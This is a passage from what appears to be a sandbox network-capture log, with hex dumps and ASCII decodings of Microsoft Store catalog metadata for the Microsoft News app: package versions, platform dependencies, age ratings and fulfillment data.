62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 35 34 2e 32 32 37 
34 31 2e 37 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 
69 6e 67 4e 65 77 73 5f 34 2e 35 34 2e 32 32 37 34 31 2e 37 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 
5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 
Data Ascii: Blob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.BingNews_4.54.2
2741.70_x86__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.54.22741.70_x64__8wekyb3d8bbwe\",\"Microsoft.Bin
gNews_4.54.22741.70_arm__8wekyb3d8bbwe\"],\"content.isMai

2021-11-25 16:28:41 UTC 1839 IN Data Raw: 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 33 2e 31 2e 36 2e 30 5f 61 
72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 64 66 64 33 31 39 31 62 
2d 38 64 38 34 2d 34 39 31 37 2d 61 37 30 38 2d 30 37 38 30 39 39 36 62 36 62 62 61 22 2c 22 50 61 63 6b 61 67 65 52 
61 6e 6b 22 3a 31 34 30 30 30 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 
78 54 65 73 74 65 64 22 3a 32 32 35 31 38 30 34 31 30 38 36 35 32 35 34 34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 3
2 32 35 31 38 30 34 31 30 38 36 35 32 35 34 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 
2e 57 69 6e 64 6f 77 73 50 68 6f 6e 65 38 78 22 7d 5d 2c 22 50 6c 
Data Ascii: lName":"Microsoft.BingNews_3.1.6.0_arm__8wekyb3d8bbwe","PackageId":"dfd3191b-8d84-4917-a708-078099
6b6bba","PackageRank":14000,"PlatformDependencies":[{"MaxTested":2251804108652544,"MinVersion":22518
04108652544,"PlatformName":"Windows.WindowsPhone8x"}],"Pl

2021-11-25 16:28:41 UTC 1843 IN Data Raw: 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 
69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22
6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 
38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 
6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 
7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 
22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 
Data Ascii: ptOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\
"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"system
Id\":13

2021-11-25 16:28:41 UTC 1847 IN Data Raw: 5b 7b 22 41 63 74 69 6f 6e 73 22 3a 5b 22 44 65 74 61 69 6c 73 22 2c 22 46 75 6c 66 69 6c 6c 22 2c 22 50 75 
72 63 68 61 73 65 22 2c 22 42 72 6f 77 73 65 22 2c 22 43 75 72 61 74 65 22 2c 22 52 65 64 65 65 6d 22 5d 2c 22 41 76 
61 69 6c 61 62 69 6c 69 74 79 41 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 3b 33 22 2c 22 41 76 
61 69 6c 61 62 69 6c 69 74 79 42 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 69 65 64 4
1 70 70 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 49 64 22 3a 22 39 53 44 50 32 35 4b 34 44 4d 54 46 22 2c 22 
43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 6
4 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 78 56 65 72 73 
Data Ascii: [{"Actions":["Details","Fulfill","Purchase","Browse","Curate","Redeem"],"AvailabilityASchema":"Availability;
3","AvailabilityBSchema":"AvailabilityUnifiedApp;3","AvailabilityId":"9SDP25K4DMTF","Conditions":{"ClientConditions":{"A
llowedPlatforms":[{"MaxVers

2021-11-25 16:28:41 UTC 1851 IN Data Raw: 2c 7b 22 53 6b 75 22 3a 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 31 2d 31 31 
2d 30 39 54 32 33 3a 30 33 3a 31 32 2e 37 31 31 36 31 39 32 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 
69 65 73 22 3a 5b 7b 22 53 6b 75 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 73 20 
64 65 6c 69 76 65 72 73 20 62 72 65 61 6b 69 6e 67 20 6e 65 77 73 20 61 6e 64 20 74 72 75 73 74 65 64 2c 20 69 6e 2d 
64 65 70 74 68 20 72 65 70 6f 72 74 69 6e 67 20 66 72 6f 6d 20 74 68 65 20 77 6f 72 6c 64 27 73 20 62 65 73 74 20 6a 6f 
75 72 6e 61 6c 69 73 74 73 2e 5c 6e c2 a0 5c 6e 2d 20 4f 75 72 20 65 64 69 74 6f 72 73 20 63 75 72 61 74 65 20 74 68 65 
20 6d 6f 73 74 20 74 72 75 73 74 65 64 2c 20 69 6d 70 6f 72 
Data Ascii: ,{"Sku":{"LastModifiedDate":"2021-11-09T23:03:12.7116192Z","LocalizedProperties":[{"SkuDescription
":"Microsoft News delivers breaking news and trusted, in-depth reporting from the world's best journalists.\n\n- Our editors 
curate the most trusted, impor

2021-11-25 16:28:41 UTC 1855 IN Data Raw: 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 
6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 
2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 
74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 33 31 2e 31 32 31 32 34 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 
77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 33 31 2e 31 32 31 32 34 2e 30 5f 78 
38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 
5f 34 2e 33 31 2e 31 32 31 32 34 2e 30 5f 61 72 6d 5f 5f 
Data Ascii: Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":
[\"Microsoft.BingNews_4.31.12124.0_x64__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.31.12124.0_x86__8wekyb3d
8bbwe\",\"Microsoft.BingNews_4.31.12124.0_arm__
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2021-11-25 16:28:41 UTC 1859 IN Data Raw: 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 33 39 2e 
32 31 35 30 31 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 
69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 
4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 35 2e 32 39 30 30 31 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 
5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 
22 39 63 33 65 38 63 61 64 2d 36 37 30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 
2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 
Data Ascii: 3d8bbwe\",\"Microsoft.BingNews_4.39.21501.0_x86__8wekyb3d8bbwe\"],\"content.isMain\":false,\"conte
nt.packageId\":\"Microsoft.BingNews_4.5.29001.0_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-
4842-8f61-b8b33cc9caf1\",\"content.targetPlat

2021-11-25 16:28:41 UTC 1863 IN Data Raw: 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 
72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 
65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 
56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 
72 67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 
3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 
73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 77 65 
Data Ascii: 842-8f61-b8b33cc9caf1\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750931222528,\"platf
orm.minVersion\":2814750835277824,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"ca
tegory.second\":\"News & we

2021-11-25 16:28:41 UTC 1867 IN Data Raw: 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 
73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 
22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 
2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 
22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 
69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 
73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 
Data Ascii: \":\"app\",\"category.second\":\"News & weather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,
\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\"
:7,\"systemId\":3},{\"level

2021-11-25 16:28:41 UTC 1871 IN Data Raw: 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 
7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 
22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 
79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3
a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 
65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 
44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 
Data Ascii: ngs\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"syste
mId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownlo
adUris":null,"Ful

2021-11-25 16:28:41 UTC 1875 IN Data Raw: 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 
22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 
39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 33 61 63 35 39 66 34 65 2d 31 63 
64 63 2d 34 37 36 65 2d 61 37 32 61 2d 61 64 35 32 63 61 65 36 61 30 63 64 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 6
4 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 
64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 
77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 
Data Ascii: temId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundle
Id":"3ac59f4e-1cdc-476e-a72a-ad52cae6a0cd","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamil
yName":"Microsoft.BingNews_8wekyb3d8bbwe","SkuI

2021-11-25 16:28:41 UTC 1879 IN Data Raw: 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 
77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 
67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 
70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 
72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3
a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 
4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 
Data Ascii: ame":"Microsoft.BingNews_8wekyb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"A
pplications":[{"ApplicationId":"AppexNews"}],"Architectures":["arm","x86","x64"],"Capabilities":["internetClient"],"Expe
rienceIds":[],"MaxDownloadSizeInBytes

2021-11-25 16:28:41 UTC 1883 IN Data Raw: 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 
69 7a 65 49 6e 42 79 74 65 73 22 3a 39 35 35 32 36 38 31 32 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 
79 74 65 73 22 3a 33 35 37 30 30 37 33 36 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 41 70 70 78 42 75 
6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 
67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4
e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 
6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 37 2e 32 32 30 
Data Ascii: t"],"ExperienceIds":[],"MaxDownloadSizeInBytes":95526812,"MaxInstallSizeInBytes":35700736,"Package
Format":"EAppxBundle","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameF
orDlc":null,"PackageFullName":"Microsoft.BingNews_4.7.220

2021-11-25 16:28:41 UTC 1887 IN Data Raw: 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 
77 73 5f 34 2e 37 2e 32 33 30 30 33 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 
2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 38 38 33 36 39 35 38 36 2d 30 37 64 65 2d 39 38 34 35 2d 39 66 66 34 2d 34 
64 62 33 30 33 33 61 65 62 31 61 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 
33 30 31 37 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 6
5 64 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 
30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 
Data Ascii: ,"PackageFullName":"Microsoft.BingNews_4.7.23003.70_neutral_~_8wekyb3d8bbwe","PackageId":"88369586-
07de-9845-9ff4-4db3033aeb1a-X86-X64-Arm","PackageRank":30173,"PlatformDependencies":[{"MaxTested":2
814750931222528,"MinVersion":2814750835277824,"PlatformNa
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2021-11-25 16:28:41 UTC 1891 IN Data Raw: 38 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 
74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 
65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 
36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 
3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 37 30 5f 61 72 6d 
5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 
2e 34 37 2e 32 32 31 38 31 2e 37 30 5f 78 36 34 5f 5f 38 77 
Data Ascii: 8,"MinVersion":2814750835277824,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{\"bl
ob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.BingNews_4.47.22181.70_arm__8wekyb3d8bb
we\",\"Microsoft.BingNews_4.47.22181.70_x64__8w

2021-11-25 16:28:41 UTC 1895 IN Data Raw: 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 39 31 2e 37 30 5f 61 
72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 
5f 34 2e 34 37 2e 32 32 31 39 31 2e 37 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 
6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 
64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 38 2e 36 30 30 31 2e 37 30 5f 6e 65 75 
74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 
49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 37 30 
Data Ascii: \"Microsoft.BingNews_4.47.22191.70_arm__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.47.22191.70_x64__8w
ekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.BingNews_4.8.6001.70_neutral_~_8weky
b3d8bbwe\",\"content.productId\":\"9c3e8cad-670

2021-11-25 16:28:41 UTC 1899 IN Data Raw: 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 
61 64 2d 36 37 30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 
65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 
72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 5c 22 70 6c 61 74 66 6f 72 
6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 
72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 
69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 
Data Ascii: bwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-b8b33cc9caf1\",\"content.targetPlatforms\":[{\"platfor
m.maxVersionTested\":2814750931222528,\"platform.minVersion\":2814750835277824,\"platform.target\":5}],\"conte
nt.type\":7,\"policy\":{\"category.fi

2021-11-25 16:28:41 UTC 1903 IN Data Raw: 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 
61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 
64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 
22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 
2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 
69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 
61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 
Data Ascii: ],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"News & weather\",\"category.third\":
\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":fal
se,\"thirdPartyAp

2021-11-25 16:28:41 UTC 1907 IN Data Raw: 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 
69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 
73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 
35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76
65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 
73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5
c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 
Data Ascii: Rating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{
\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level
\":54,\

2021-11-25 16:28:41 UTC 1911 IN Data Raw: 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 
76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 
77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 
64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 33 61 
